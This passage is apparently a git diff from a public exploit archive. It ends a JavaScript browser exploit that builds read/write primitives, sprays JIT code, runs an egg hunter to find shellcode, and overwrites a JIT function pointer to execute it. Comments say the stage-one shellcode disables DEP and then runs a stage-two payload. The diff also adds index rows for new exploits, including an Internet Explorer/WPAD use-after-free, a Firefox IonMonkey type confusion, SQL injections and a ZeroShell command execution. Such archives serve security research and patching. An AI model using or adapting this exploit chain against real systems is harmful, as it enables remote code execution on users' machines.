JITInfoAddress = WeakLeakDbl(HelperDbl[0]); + HelperDbl[0] = JITInfoAddress; + + // Verify that MutableArray.x was not its initialized value during the last arbitrary read. This would only be the case if the slots ptr has NEVER been successfully overwritten post-addrof primitive (the address we attempted to read was not a valid double). + + if(HelperDword[0] == 0x41414141) { + DebugLog("Arbitrary read primitive failed"); + window.location.reload(); + } + else { + // Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer) + + HelperDbl[0] = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT'd shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct) + DebugLog("Shellcode function object JIT code pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16)); + JITCodePtr = HelperDbl[0]; + ExplicitDblArrayAddress = WeakLeakObjectAddress(ExplicitDblArray); + HelperDbl[0] = ExplicitDblArrayAddress; + HelperDword[0] = HelperDword[0] + 56; // Float64Array data pointer + ExplicitDblArrayDataPtr = HelperDbl[0]; + ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags + + if(ShellcodeAddress) { + // Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT'd function + + WeakWriteDbl(JITInfoAddress, ShellcodeAddress); + JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large (as in the case of the WPAD shellcode) a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS. + } + else { + DebugLog("Failed to resolve shellcode address"); + } + } +} + +Exploit(); \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 582e408d6..2384ca6cd 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11325,6 +11325,8 @@ id,file,description,date,author,type,platform,port 49852,exploits/windows/local/49852.txt,"TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path",2021-05-10,"Erick Galindo",local,windows, 49857,exploits/windows/local/49857.txt,"Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path",2021-05-11,1F98D,local,windows, 49858,exploits/windows/local/49858.txt,"Splinterware System Scheduler Professional 5.30 - Privilege Escalation",2021-05-12,"Andrea Intilangelo",local,windows, +49863,exploits/windows_x86-64/local/49863.js,"Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free",2021-05-13,"Forrest Orr",local,windows_x86-64, +49864,exploits/windows_x86-64/local/49864.js,"Firefox 72 IonMonkey - JIT Type Confusion",2021-05-13,"Forrest Orr",local,windows_x86-64, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -44025,3 +44027,6 @@ id,file,description,date,author,type,platform,port 49854,exploits/php/webapps/49854.txt,"Human Resource Information System 0.1 - 'First Name' Persistent Cross-Site Scripting (Authenticated)",2021-05-10,"Reza Afsahi",webapps,php, 49856,exploits/php/webapps/49856.py,"Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)",2021-05-10,sl1nki,webapps,php, 49859,exploits/multiple/webapps/49859.txt,"Chevereto 3.17.1 - Cross Site Scripting (Stored)",2021-05-12,"Akıner Kısa",webapps,multiple, +49860,exploits/php/webapps/49860.txt,"Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)",2021-05-13,"Mesut Cetin",webapps,php, +49861,exploits/php/webapps/49861.txt,"Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)",2021-05-13,"Mesut Cetin",webapps,php, +49862,exploits/linux/webapps/49862.py,"ZeroShell 3.9.0 - Remote Command Execution",2021-05-13,"Fellipe Oliveira",webapps,linux,